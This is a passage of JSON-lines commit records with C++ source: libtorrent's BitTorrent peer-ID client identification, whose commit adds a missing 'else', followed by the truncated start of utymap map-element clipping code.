encodings\n\t\t\/\/ ----------------------\n\n\t\tif (find_string(PID, \"Deadman Walking-\")) return \"Deadman\";\n\t\tif (find_string(PID + 5, \"Azureus\")) return \"Azureus 2.0.3.2\";\n\t\tif (find_string(PID, \"DansClient\")) return \"XanTorrent\";\n\t\tif (find_string(PID + 4, \"btfans\")) return \"SimpleBT\";\n\t\tif (find_string(PID, \"PRC.P---\")) return \"Bittorrent Plus! II\";\n\t\tif (find_string(PID, \"P87.P---\")) return \"Bittorrent Plus!\";\n\t\tif (find_string(PID, \"S587Plus\")) return \"Bittorrent Plus!\";\n\t\tif (find_string(PID, \"martini\")) return \"Martini Man\";\n\t\tif (find_string(PID, \"Plus---\")) return \"Bittorrent Plus\";\n\t\tif (find_string(PID, \"turbobt\")) return \"TurboBT\";\n\t\tif (find_string(PID, \"a00---0\")) return \"Swarmy\";\n\t\tif (find_string(PID, \"a02---0\")) return \"Swarmy\";\n\t\tif (find_string(PID, \"T00---0\")) return \"Teeweety\";\n\t\tif (find_string(PID, \"BTDWV-\")) return \"Deadman Walking\";\n\t\tif (find_string(PID + 2, \"BS\")) return \"BitSpirit\";\n\t\tif (find_string(PID, \"btuga\")) return \"BTugaXP\";\n\t\tif (find_string(PID, \"oernu\")) return \"BTugaXP\";\n\t\tif (find_string(PID, \"Mbrst\")) return \"Burst!\";\n\t\tif (find_string(PID, \"Plus\")) return \"Plus!\";\n\t\tif (find_string(PID, \"exbc\")) return \"BitComet\";\n\t\tif (find_string(PID, \"-G3\")) return \"G3 Torrent\";\n\t\tif (find_string(PID, \"XBT\")) return \"XBT\";\n\n\t\tif (find_string(PID, \"-BOW\") && PID[7] == '-')\n\t\t\treturn \"Bits on Wheels \" + std::string(PID + 4, PID + 7);\n\t\t\n\t\tif (find_string(PID, \"eX\"))\n\t\t{\n\t\t\tstd::string user(PID + 2, PID + 14);\n\t\t\treturn std::string(\"eXeem ('\") + user.c_str() + \"')\"; \n\t\t}\n\n\t\tif (std::equal(PID, PID + 13, \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\x97\"))\n\t\t\treturn \"Experimental 3.2.1b2\";\n\n\t\tif (std::equal(PID, PID + 13, \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"))\n\t\t\treturn \"Experimental 3.1\";\n\n\t\t\n\t\t\/\/ look for azureus style id\n\t\tf = parse_az_style(p);\n\t\tif (f) return lookup(*f);\n\n\t\t\/\/ look for shadow style id\n\t\tf = parse_shadow_style(p);\n\t\tif (f) return lookup(*f);\n\n\t\t\/\/ look for mainline style id\n\t\tf = parse_mainline_style(p);\n\t\tif (f) return lookup(*f);\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\n\t\tif (std::equal(PID, PID + 12, \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"))\n\t\t\treturn \"Generic\";\n\n\t\tstd::string unknown(\"Unknown [\");\n\t\tfor (peer_id::const_iterator i = p.begin(); i != p.end(); ++i)\n\t\t{\n\t\t\tunknown += std::isprint(*i)?*i:'.';\n\t\t}\n\t\tunknown += \"]\";\n\t\treturn unknown;\n\t}\n\n}\n<|endoftext|>"}
{"text":"<commit_before>\/*\n\nCopyright (c) 2003, Arvid Norberg\nAll rights reserved.\n\nRedistribution and use in source and binary forms, with or without\nmodification, are permitted provided that the following conditions\nare met:\n\n    * Redistributions of source code must retain the above copyright\n      notice, this list of conditions and the following disclaimer.\n    * Redistributions in binary form must reproduce the above copyright\n      notice, this list of conditions and the following disclaimer in\n      the documentation and\/or other materials provided with the distribution.\n    * Neither the name of the author nor the names of its\n      contributors may be used to endorse or promote products derived\n      from this software without specific prior written permission.\n\nTHIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\"\nAND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\nIMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE\nARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE\nLIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR\nCONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF\nSUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS\nINTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN\nCONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)\nARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE\nPOSSIBILITY OF SUCH DAMAGE.\n\n*\/\n\n#include <cctype>\n\n#ifdef _MSC_VER\n#pragma warning(push, 1)\n#endif\n\n#include <boost\/optional.hpp>\n\n#ifdef _MSC_VER\n#pragma warning(pop)\n#endif\n\n#include \"libtorrent\/identify_client.hpp\"\n#include \"libtorrent\/fingerprint.hpp\"\n\n#if defined(_MSC_VER) && _MSC_VER < 1300\nnamespace std\n{\n\tusing ::isprint;\n\tusing ::isdigit;\n}\n#endif\n\nnamespace\n{\n\n\tusing namespace libtorrent;\n\n\t\/\/ takes a peer id and returns a valid boost::optional\n\t\/\/ object if the peer id matched the azureus style encoding\n\t\/\/ the returned fingerprint contains information about the\n\t\/\/ client's id\n\tboost::optional<fingerprint> parse_az_style(const peer_id& id)\n\t{\n\t\tfingerprint ret(\"..\", 0, 0, 0, 0);\n\t\tpeer_id::const_iterator i = id.begin();\n\n\t\tif (*i != '-') return boost::optional<fingerprint>();\n\t\t++i;\n\n\t\tfor (int j = 0; j < 2; ++j)\n\t\t{\n\t\t\tif (!std::isprint(*i)) return boost::optional<fingerprint>();\n\t\t\tret.id[j] = *i;\n\t\t\t++i;\n\t\t}\n\n\t\tif (!std::isdigit(*i)) return boost::optional<fingerprint>();\n\t\tret.major_version = *i - '0';\n\t\t++i;\n\n\t\tif (!std::isdigit(*i)) return boost::optional<fingerprint>();\n\t\tret.minor_version = *i - '0';\n\t\t++i;\n\n\t\tif (!std::isdigit(*i)) return boost::optional<fingerprint>();\n\t\tret.revision_version = *i - '0';\n\t\t++i;\n\n\t\tif (!std::isdigit(*i)) return boost::optional<fingerprint>();\n\t\tret.tag_version = *i - '0';\n\t\t++i;\n\n\t\tif (*i != '-') return boost::optional<fingerprint>();\n\n\t\treturn boost::optional<fingerprint>(ret);\n\t}\n\n\t\/\/ checks if a peer id can possibly contain a shadow-style\n\t\/\/ identification\n\tboost::optional<fingerprint> parse_shadow_style(const peer_id& id)\n\t{\n\t\tfingerprint ret(\"..\", 0, 0, 0, 0);\n\t\tpeer_id::const_iterator i = id.begin();\n\n\t\tif (!std::isprint(*i)) return boost::optional<fingerprint>();\n\t\tret.id[0] = *i;\n\t\tret.id[1] = 0;\n\t\t++i;\n\n\t\tif (std::equal(id.begin()+4, id.begin()+8, \"----\"))\n\t\t{\n\t\t\tif (!std::isdigit(*i)) return boost::optional<fingerprint>();\n\t\t\tret.major_version = *i - '0';\n\t\t\t++i;\n\n\t\t\tif (!std::isdigit(*i)) return boost::optional<fingerprint>();\n\t\t\tret.minor_version = *i - '0';\n\t\t\t++i;\n\n\t\t\tif (!std::isdigit(*i)) return boost::optional<fingerprint>();\n\t\t\tret.revision_version = *i - '0';\n\t\t}\n\t\telse if (id[8] == 0)\n\t\t{\n\t\t\tif (*i > 127) return boost::optional<fingerprint>();\n\t\t\tret.major_version = *i;\n\t\t\t++i;\n\n\t\t\tif (*i > 127) return boost::optional<fingerprint>();\n\t\t\tret.minor_version = *i;\n\t\t\t++i;\n\n\t\t\tif (*i > 127) return boost::optional<fingerprint>();\n\t\t\tret.revision_version = *i;\n\t\t}\n\t\telse\n\t\t\treturn boost::optional<fingerprint>();\n\n\n\t\tret.tag_version = 0;\n\t\treturn boost::optional<fingerprint>(ret);\n\t}\n\n\t\/\/ checks if a peer id can possibly contain a mainline-style\n\t\/\/ identification\n\tboost::optional<fingerprint> parse_mainline_style(const peer_id& id)\n\t{\n\t\tfingerprint ret(\"..\", 0, 0, 0, 0);\n\t\tpeer_id::const_iterator i = id.begin();\n\n\t\tif (!std::isprint(*i)) return boost::optional<fingerprint>();\n\t\tret.id[0] = *i;\n\t\tret.id[1] = 0;\n\t\t++i;\n\n\t\tif (!std::isdigit(*i)) return boost::optional<fingerprint>();\n\t\tret.major_version = *i - '0';\n\t\t++i;\n\n\t\tif (*i != '-') return boost::optional<fingerprint>();\n\t\t++i;\n\n\t\tif (!std::isdigit(*i)) return boost::optional<fingerprint>();\n\t\tret.minor_version = *i - '0';\n\t\t++i;\n\n\t\tif (*i != '-') return boost::optional<fingerprint>();\n\t\t++i;\n\n\t\tif (!std::isdigit(*i)) return boost::optional<fingerprint>();\n\t\tret.revision_version = *i - '0';\n\t\t++i;\n\n\t\tif (!std::equal(i, i+1, \"--\")) return boost::optional<fingerprint>();\n\n\t\tret.tag_version = 0;\n\t\treturn boost::optional<fingerprint>(ret);\n\t}\n\n} \/\/ namespace unnamed\n\nnamespace libtorrent\n{\n\n\tstd::string identify_client(const peer_id& p)\n\t{\n\t\tpeer_id::const_iterator PID = p.begin();\n\t\tboost::optional<fingerprint> f;\n\n\t\tif (p.is_all_zeros()) return \"Unkown\";\n\n\t\t\/\/ look for azureus style id\t\n\t\tf = parse_az_style(p);\n\t\tif (f)\n\t\t{\n\t\t\tstd::stringstream identity;\n\n\t\t\t\/\/ azureus\n\t\t\tif (std::equal(f->id, f->id+2, \"AZ\"))\n\t\t\t\tidentity << \"Azureus \";\n\n\t\t\t\/\/ BittorrentX\n\t\t\telse if (std::equal(f->id, f->id+2, \"BX\"))\n\t\t\t\tidentity << \"BittorrentX \";\n\n\t\t\t\/\/ libtorrent\n\t\t\telse if (std::equal(f->id, f->id+2, \"LT\"))\n\t\t\t\tidentity << \"libtorrent \";\n\n\t\t\t\/\/ Moonlight Torrent\n\t\t\telse if (std::equal(f->id, f->id+2, \"MT\"))\n\t\t\t\tidentity << \"Moonlight Torrent \";\n\n\t\t\t\/\/ Torrent Storm\n\t\t\telse if (std::equal(f->id, f->id+2, \"TS\"))\n\t\t\t\tidentity << \"TorrentStorm \";\n\n\t\t\t\/\/ SwarmScope\n\t\t\telse if (std::equal(f->id, f->id+2, \"SS\"))\n\t\t\t\tidentity << \"SwarmScope \";\n\n\t\t\t\/\/ XanTorrent\n\t\t\telse if (std::equal(f->id, f->id+2, \"XT\"))\n\t\t\t\tidentity << \"XanTorrent \";\n\n\t\t\t\/\/ unknown client\n\t\t\telse\n\t\t\t\tidentity << std::string(f->id, f->id+2) << \" \";\n\n\t\t\tidentity << (int)f->major_version\n\t\t\t\t<< \".\" << (int)f->minor_version\n\t\t\t\t<< \".\" << (int)f->revision_version\n\t\t\t\t<< \".\" << (int)f->tag_version;\n\n\t\t\treturn identity.str();\n\t\t}\n\t\n\n\t\t\/\/ look for shadow style id\t\n\t\tf = parse_shadow_style(p);\n\t\tif (f)\n\t\t{\n\t\t\tstd::stringstream identity;\n\n\t\t\t\/\/ Shadow\n\t\t\tif (std::equal(f->id, f->id+1, \"S\"))\n\t\t\t\tidentity << \"Shadow \";\n\n\t\t\t\/\/ ABC\n\t\t\tif (std::equal(f->id, f->id+1, \"A\"))\n\t\t\t\tidentity << \"ABC \";\n\n\t\t\t\/\/ UPnP\n\t\t\telse if (std::equal(f->id, f->id+1, \"U\"))\n\t\t\t\tidentity << \"UPnP \";\n\n\t\t\t\/\/ BitTornado\n\t\t\telse if (std::equal(f->id, f->id+1, \"T\"))\n\t\t\t\tidentity << \"BitTornado \";\n\n\t\t\t\/\/ unknown client\n\t\t\telse\n\t\t\t\tidentity << std::string(f->id, f->id+1) << \" \";\n\n\t\t\tidentity << (int)f->major_version\n\t\t\t\t<< \".\" << (int)f->minor_version\n\t\t\t\t<< \".\" << (int)f->revision_version;\n\n\t\t\treturn identity.str();\n\t\t}\n\t\n\t\tf = parse_mainline_style(p);\n\t\tif (f)\n\t\t{\n\t\t\tstd::stringstream identity;\n\n\t\t\t\/\/ Mainline\n\t\t\tif (std::equal(f->id, f->id+1, \"M\"))\n\t\t\t\tidentity << \"Mainline \";\n\n\t\t\t\/\/ unknown client\n\t\t\telse\n\t\t\t\tidentity << std::string(f->id, f->id+1) << \" \";\n\n\t\t\tidentity << (int)f->major_version\n\t\t\t\t<< \".\" << (int)f->minor_version\n\t\t\t\t<< \".\" << (int)f->revision_version;\n\n\t\t\treturn identity.str();\n\t\t}\n\n\t\t\/\/ ----------------------\n\t\t\/\/ non standard encodings\n\t\t\/\/ ----------------------\n\n\t\tif (std::equal(PID, PID + 12, \"-G3g3rmz    \"))\n\t\t{\n\t\t\treturn \"G3 Torrent\";\n\t\t}\n\n\t\tif (std::equal(PID, PID + 4, \"exbc\"))\n\t\t{\n\t\t\tstd::stringstream s;\n\t\t\ts << \"BitComet \" << (int)PID[4] << \".\" << (int)PID[5]\/10 << (int)PID[5]%10;\n\t\t\treturn s.str();\n\t\t}\n\n\t\tif (std::equal(PID + 5, PID + 5 + 8, \"Azureus\"))\n\t\t{\n\t\t\treturn \"Azureus 2.0.3.2\";\n\t\t}\n\t\n\t\tif (std::equal(PID, PID + 11, \"DansClient\"))\n\t\t{\n\t\t\treturn \"XanTorrent\";\n\t\t}\n\n\t\tif (std::equal(PID, PID + 7, \"Plus---\"))\n\t\t{\n\t\t\treturn \"Bittorrent Plus\";\n\t\t}\n\n\t\tif (std::equal(PID, PID + 16, \"Deadman Walking-\"))\n\t\t{\n\t\t\treturn \"Deadman\";\n\t\t}\n\n\t\tif (std::equal(PID, PID + 7, \"btuga\"))\n\t\t{\n\t\t\treturn \"BTugaXP\";\n\t\t}\n\n\t\tif (std::equal(PID, PID + 7, \"btfans\"))\n\t\t{\n\t\t\treturn \"SimpleBT\";\n\t\t}\n\n\t\tif (std::equal(PID, PID + 7, \"turbobt\"))\n\t\t{\n\t\t\tstd::stringstream s;\n\t\t\ts << \"TurboBT \" << PID[8] << \".\" << PID[10] << \".\" << PID[12];\n\t\t\treturn s.str();\n\t\t}\n\n\t\tif (std::equal(PID, PID + 13, \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\x97\"))\n\t\t{\n\t\t\treturn \"Experimental 3.2.1b2\";\n\t\t}\n\n\t\tif (std::equal(PID, PID + 13, \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"))\n\t\t{\n\t\t\treturn \"Experimental 3.1\";\n\t\t}\n\n\t\tif (std::equal(PID, PID + 12, \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"))\n\t\t{\n\t\t\treturn \"Generic\";\n\t\t}\n\n\t\tstd::string unknown(\"Unknown [\");\n\t\tfor (peer_id::const_iterator i = p.begin(); i != p.end(); ++i)\n\t\t{\n\t\t\tunknown += std::isprint(*i)?*i:'.';\n\t\t}\n\t\tunknown += \"]\";\n\t\treturn unknown;\n\t}\n\n}\n<commit_msg>*** empty log message ***<commit_after>\/*\n\nCopyright (c) 2003, Arvid Norberg\nAll rights reserved.\n\nRedistribution and use in source and binary forms, with or without\nmodification, are permitted provided that the following conditions\nare met:\n\n    * Redistributions of source code must retain the above copyright\n      notice, this list of conditions and the following disclaimer.\n    * Redistributions in binary form must reproduce the above copyright\n      notice, this list of conditions and the following disclaimer in\n      the documentation and\/or other materials provided with the distribution.\n    * Neither the name of the author nor the names of its\n      contributors may be used to endorse or promote products derived\n      from this software without specific prior written permission.\n\nTHIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\"\nAND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\nIMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE\nARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE\nLIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR\nCONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF\nSUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS\nINTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN\nCONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)\nARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE\nPOSSIBILITY OF SUCH DAMAGE.\n\n*\/\n\n#include <cctype>\n\n#ifdef _MSC_VER\n#pragma warning(push, 1)\n#endif\n\n#include <boost\/optional.hpp>\n\n#ifdef _MSC_VER\n#pragma warning(pop)\n#endif\n\n#include \"libtorrent\/identify_client.hpp\"\n#include \"libtorrent\/fingerprint.hpp\"\n\n#if defined(_MSC_VER) && _MSC_VER < 1300\nnamespace std\n{\n\tusing ::isprint;\n\tusing ::isdigit;\n}\n#endif\n\nnamespace\n{\n\n\tusing namespace libtorrent;\n\n\t\/\/ takes a peer id and returns a valid boost::optional\n\t\/\/ object if the peer id matched the azureus style encoding\n\t\/\/ the returned fingerprint contains information about the\n\t\/\/ client's id\n\tboost::optional<fingerprint> parse_az_style(const peer_id& id)\n\t{\n\t\tfingerprint ret(\"..\", 0, 0, 0, 0);\n\t\tpeer_id::const_iterator i = id.begin();\n\n\t\tif (*i != '-') return boost::optional<fingerprint>();\n\t\t++i;\n\n\t\tfor (int j = 0; j < 2; ++j)\n\t\t{\n\t\t\tif (!std::isprint(*i)) return boost::optional<fingerprint>();\n\t\t\tret.id[j] = *i;\n\t\t\t++i;\n\t\t}\n\n\t\tif (!std::isdigit(*i)) return boost::optional<fingerprint>();\n\t\tret.major_version = *i - '0';\n\t\t++i;\n\n\t\tif (!std::isdigit(*i)) return boost::optional<fingerprint>();\n\t\tret.minor_version = *i - '0';\n\t\t++i;\n\n\t\tif (!std::isdigit(*i)) return boost::optional<fingerprint>();\n\t\tret.revision_version = *i - '0';\n\t\t++i;\n\n\t\tif (!std::isdigit(*i)) return boost::optional<fingerprint>();\n\t\tret.tag_version = *i - '0';\n\t\t++i;\n\n\t\tif (*i != '-') return boost::optional<fingerprint>();\n\n\t\treturn boost::optional<fingerprint>(ret);\n\t}\n\n\t\/\/ checks if a peer id can possibly contain a shadow-style\n\t\/\/ identification\n\tboost::optional<fingerprint> parse_shadow_style(const peer_id& id)\n\t{\n\t\tfingerprint ret(\"..\", 0, 0, 0, 0);\n\t\tpeer_id::const_iterator i = id.begin();\n\n\t\tif (!std::isprint(*i)) return boost::optional<fingerprint>();\n\t\tret.id[0] = *i;\n\t\tret.id[1] = 0;\n\t\t++i;\n\n\t\tif (std::equal(id.begin()+4, id.begin()+8, \"----\"))\n\t\t{\n\t\t\tif (!std::isdigit(*i)) return boost::optional<fingerprint>();\n\t\t\tret.major_version = *i - '0';\n\t\t\t++i;\n\n\t\t\tif (!std::isdigit(*i)) return boost::optional<fingerprint>();\n\t\t\tret.minor_version = *i - '0';\n\t\t\t++i;\n\n\t\t\tif (!std::isdigit(*i)) return boost::optional<fingerprint>();\n\t\t\tret.revision_version = *i - '0';\n\t\t}\n\t\telse if (id[8] == 0)\n\t\t{\n\t\t\tif (*i > 127) return boost::optional<fingerprint>();\n\t\t\tret.major_version = *i;\n\t\t\t++i;\n\n\t\t\tif (*i > 127) return boost::optional<fingerprint>();\n\t\t\tret.minor_version = *i;\n\t\t\t++i;\n\n\t\t\tif (*i > 127) return boost::optional<fingerprint>();\n\t\t\tret.revision_version = *i;\n\t\t}\n\t\telse\n\t\t\treturn boost::optional<fingerprint>();\n\n\n\t\tret.tag_version = 0;\n\t\treturn boost::optional<fingerprint>(ret);\n\t}\n\n\t\/\/ checks if a peer id can possibly contain a mainline-style\n\t\/\/ identification\n\tboost::optional<fingerprint> parse_mainline_style(const peer_id& id)\n\t{\n\t\tfingerprint ret(\"..\", 0, 0, 0, 0);\n\t\tpeer_id::const_iterator i = id.begin();\n\n\t\tif (!std::isprint(*i)) return boost::optional<fingerprint>();\n\t\tret.id[0] = *i;\n\t\tret.id[1] = 0;\n\t\t++i;\n\n\t\tif (!std::isdigit(*i)) return boost::optional<fingerprint>();\n\t\tret.major_version = *i - '0';\n\t\t++i;\n\n\t\tif (*i != '-') return boost::optional<fingerprint>();\n\t\t++i;\n\n\t\tif (!std::isdigit(*i)) return boost::optional<fingerprint>();\n\t\tret.minor_version = *i - '0';\n\t\t++i;\n\n\t\tif (*i != '-') return boost::optional<fingerprint>();\n\t\t++i;\n\n\t\tif (!std::isdigit(*i)) return boost::optional<fingerprint>();\n\t\tret.revision_version = *i - '0';\n\t\t++i;\n\n\t\tif (!std::equal(i, i+1, \"--\")) return boost::optional<fingerprint>();\n\n\t\tret.tag_version = 0;\n\t\treturn boost::optional<fingerprint>(ret);\n\t}\n\n} \/\/ namespace unnamed\n\nnamespace libtorrent\n{\n\n\tstd::string identify_client(const peer_id& p)\n\t{\n\t\tpeer_id::const_iterator PID = p.begin();\n\t\tboost::optional<fingerprint> f;\n\n\t\tif (p.is_all_zeros()) return \"Unkown\";\n\n\t\t\/\/ look for azureus style id\t\n\t\tf = parse_az_style(p);\n\t\tif (f)\n\t\t{\n\t\t\tstd::stringstream identity;\n\n\t\t\t\/\/ azureus\n\t\t\tif (std::equal(f->id, f->id+2, \"AZ\"))\n\t\t\t\tidentity << \"Azureus \";\n\n\t\t\t\/\/ BittorrentX\n\t\t\telse if (std::equal(f->id, f->id+2, \"BX\"))\n\t\t\t\tidentity << \"BittorrentX \";\n\n\t\t\t\/\/ libtorrent\n\t\t\telse if (std::equal(f->id, f->id+2, \"LT\"))\n\t\t\t\tidentity << \"libtorrent \";\n\n\t\t\t\/\/ Moonlight Torrent\n\t\t\telse if (std::equal(f->id, f->id+2, \"MT\"))\n\t\t\t\tidentity << \"Moonlight Torrent \";\n\n\t\t\t\/\/ Torrent Storm\n\t\t\telse if (std::equal(f->id, f->id+2, \"TS\"))\n\t\t\t\tidentity << \"TorrentStorm \";\n\n\t\t\t\/\/ SwarmScope\n\t\t\telse if (std::equal(f->id, f->id+2, \"SS\"))\n\t\t\t\tidentity << \"SwarmScope \";\n\n\t\t\t\/\/ XanTorrent\n\t\t\telse if (std::equal(f->id, f->id+2, \"XT\"))\n\t\t\t\tidentity << \"XanTorrent \";\n\n\t\t\t\/\/ unknown client\n\t\t\telse\n\t\t\t\tidentity << std::string(f->id, f->id+2) << \" \";\n\n\t\t\tidentity << (int)f->major_version\n\t\t\t\t<< \".\" << (int)f->minor_version\n\t\t\t\t<< \".\" << (int)f->revision_version\n\t\t\t\t<< \".\" << (int)f->tag_version;\n\n\t\t\treturn identity.str();\n\t\t}\n\t\n\n\t\t\/\/ look for shadow style id\t\n\t\tf = parse_shadow_style(p);\n\t\tif (f)\n\t\t{\n\t\t\tstd::stringstream identity;\n\n\t\t\t\/\/ Shadow\n\t\t\tif (std::equal(f->id, f->id+1, \"S\"))\n\t\t\t\tidentity << \"Shadow \";\n\n\t\t\t\/\/ ABC\n\t\t\telse if (std::equal(f->id, f->id+1, \"A\"))\n\t\t\t\tidentity << \"ABC \";\n\n\t\t\t\/\/ UPnP\n\t\t\telse if (std::equal(f->id, f->id+1, \"U\"))\n\t\t\t\tidentity << \"UPnP \";\n\n\t\t\t\/\/ BitTornado\n\t\t\telse if (std::equal(f->id, f->id+1, \"T\"))\n\t\t\t\tidentity << \"BitTornado \";\n\n\t\t\t\/\/ unknown client\n\t\t\telse\n\t\t\t\tidentity << std::string(f->id, f->id+1) << \" \";\n\n\t\t\tidentity << (int)f->major_version\n\t\t\t\t<< \".\" << (int)f->minor_version\n\t\t\t\t<< \".\" << (int)f->revision_version;\n\n\t\t\treturn identity.str();\n\t\t}\n\t\n\t\tf = parse_mainline_style(p);\n\t\tif (f)\n\t\t{\n\t\t\tstd::stringstream identity;\n\n\t\t\t\/\/ Mainline\n\t\t\tif (std::equal(f->id, f->id+1, \"M\"))\n\t\t\t\tidentity << \"Mainline \";\n\n\t\t\t\/\/ unknown client\n\t\t\telse\n\t\t\t\tidentity << std::string(f->id, f->id+1) << \" \";\n\n\t\t\tidentity << (int)f->major_version\n\t\t\t\t<< \".\" << (int)f->minor_version\n\t\t\t\t<< \".\" << (int)f->revision_version;\n\n\t\t\treturn identity.str();\n\t\t}\n\n\t\t\/\/ ----------------------\n\t\t\/\/ non standard encodings\n\t\t\/\/ ----------------------\n\n\t\tif (std::equal(PID, PID + 12, \"-G3g3rmz    \"))\n\t\t{\n\t\t\treturn \"G3 Torrent\";\n\t\t}\n\n\t\tif (std::equal(PID, PID + 4, \"exbc\"))\n\t\t{\n\t\t\tstd::stringstream s;\n\t\t\ts << \"BitComet \" << (int)PID[4] << \".\" << (int)PID[5]\/10 << (int)PID[5]%10;\n\t\t\treturn s.str();\n\t\t}\n\n\t\tif (std::equal(PID + 5, PID + 5 + 8, \"Azureus\"))\n\t\t{\n\t\t\treturn \"Azureus 2.0.3.2\";\n\t\t}\n\t\n\t\tif (std::equal(PID, PID + 11, \"DansClient\"))\n\t\t{\n\t\t\treturn \"XanTorrent\";\n\t\t}\n\n\t\tif (std::equal(PID, PID + 7, \"Plus---\"))\n\t\t{\n\t\t\treturn \"Bittorrent Plus\";\n\t\t}\n\n\t\tif (std::equal(PID, PID + 16, \"Deadman Walking-\"))\n\t\t{\n\t\t\treturn \"Deadman\";\n\t\t}\n\n\t\tif (std::equal(PID, PID + 7, \"btuga\"))\n\t\t{\n\t\t\treturn \"BTugaXP\";\n\t\t}\n\n\t\tif (std::equal(PID, PID + 7, \"btfans\"))\n\t\t{\n\t\t\treturn \"SimpleBT\";\n\t\t}\n\n\t\tif (std::equal(PID, PID + 7, \"turbobt\"))\n\t\t{\n\t\t\tstd::stringstream s;\n\t\t\ts << \"TurboBT \" << PID[8] << \".\" << PID[10] << \".\" << PID[12];\n\t\t\treturn s.str();\n\t\t}\n\n\t\tif (std::equal(PID, PID + 13, \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\x97\"))\n\t\t{\n\t\t\treturn \"Experimental 3.2.1b2\";\n\t\t}\n\n\t\tif (std::equal(PID, PID + 13, \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"))\n\t\t{\n\t\t\treturn \"Experimental 3.1\";\n\t\t}\n\n\t\tif (std::equal(PID, PID + 12, \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"))\n\t\t{\n\t\t\treturn \"Generic\";\n\t\t}\n\n\t\tstd::string unknown(\"Unknown [\");\n\t\tfor (peer_id::const_iterator i = p.begin(); i != p.end(); ++i)\n\t\t{\n\t\t\tunknown += std::isprint(*i)?*i:'.';\n\t\t}\n\t\tunknown += \"]\";\n\t\treturn unknown;\n\t}\n\n}\n<|endoftext|>"}
{"text":"<commit_before>#include \"BoundingBox.hpp\"\n#include \"GeoCoordinate.hpp\"\n#include \"QuadKey.hpp\"\n#include \"entities\/Element.hpp\"\n#include \"entities\/Node.hpp\"\n#include \"entities\/Way.hpp\"\n#include \"entities\/Area.hpp\"\n#include \"entities\/Relation.hpp\"\n#include \"entities\/ElementVisitor.hpp\"\n#include \"formats\/FormatTypes.hpp\"\n#include \"index\/ElementStore.hpp\"\n#include \"mapcss\/Style.hpp\"\n#include \"mapcss\/StyleProvider.hpp\"\n#include \"utils\/GeoUtils.hpp\"\n#include \"clipper\/clipper.hpp\"\n\nusing namespace utymap;\nusing namespace utymap::entities;\nusing namespace utymap::formats;\nusing namespace utymap::mapcss;\n\nnamespace utymap { namespace index {\n\nconst static double Scale = 1E8; \/\/ max precision for Lat\/Lon\nconst static std::string ClipKey = \"clip\";\n\n\/\/ Creates bounding box of given element.\nstruct BoundingBoxVisitor : public ElementVisitor\n{\n    BoundingBox boundingBox;\n\n    void visitNode(const Node& node)\n    {\n        boundingBox.expand(node.coordinate);\n    }\n\n    void visitWay(const Way& way)\n    {\n        boundingBox.expand(way.coordinates.cbegin(), way.coordinates.cend());\n    }\n\n    void visitArea(const Area& area)\n    {\n        boundingBox.expand(area.coordinates.cbegin(), area.coordinates.cend());\n    }\n\n    void visitRelation(const Relation& relation)\n    {\n        for (const auto& element: relation.elements) {\n            element->accept(*this);\n        }\n    }\n};\n\n\/\/ Modifies geometry of element by bounding box clipping\nclass ElementGeometryVisitor : private ElementVisitor\n{\npublic:\n\n    \/\/ Defines polygon points location relative to current quadkey.\n    enum PointLocation { AllInside, AllOutside, Mixed };\n\n    ElementGeometryVisitor(ElementStore& elementStore) :\n        elementStore_(elementStore),\n        quadKeyPtr_(nullptr),\n        quadKeyBboxPtr_(nullptr)\n    {\n    }\n\n    void clipAndStore(const Element& element, const QuadKey& quadKey, const BoundingBox& quadKeyBbox)\n    {\n        quadKeyPtr_ = &quadKey;\n        quadKeyBboxPtr_ = &quadKeyBbox;\n        element.accept(*this);\n    }\n\n    void visitNode(const Node& node)\n    {\n        \/\/ here, node should be always in tile\n        elementStore_.storeImpl(node, *quadKeyPtr_);\n    }\n\n    void visitWay(const Way& way)\n    {\n        ClipperLib::Path wayShape;\n        PointLocation pointLocation = setPath(*quadKeyBboxPtr_, way, wayShape);\n        \/\/ 1. all geometry inside current quadkey: no need to truncate.\n        if (pointLocation == PointLocation::AllInside) {\n            elementStore_.storeImpl(way, *quadKeyPtr_);\n            return;\n        }\n\n        \/\/ 2. all geometry outside : way should be skipped\n        if (pointLocation == PointLocation::AllOutside) {\n            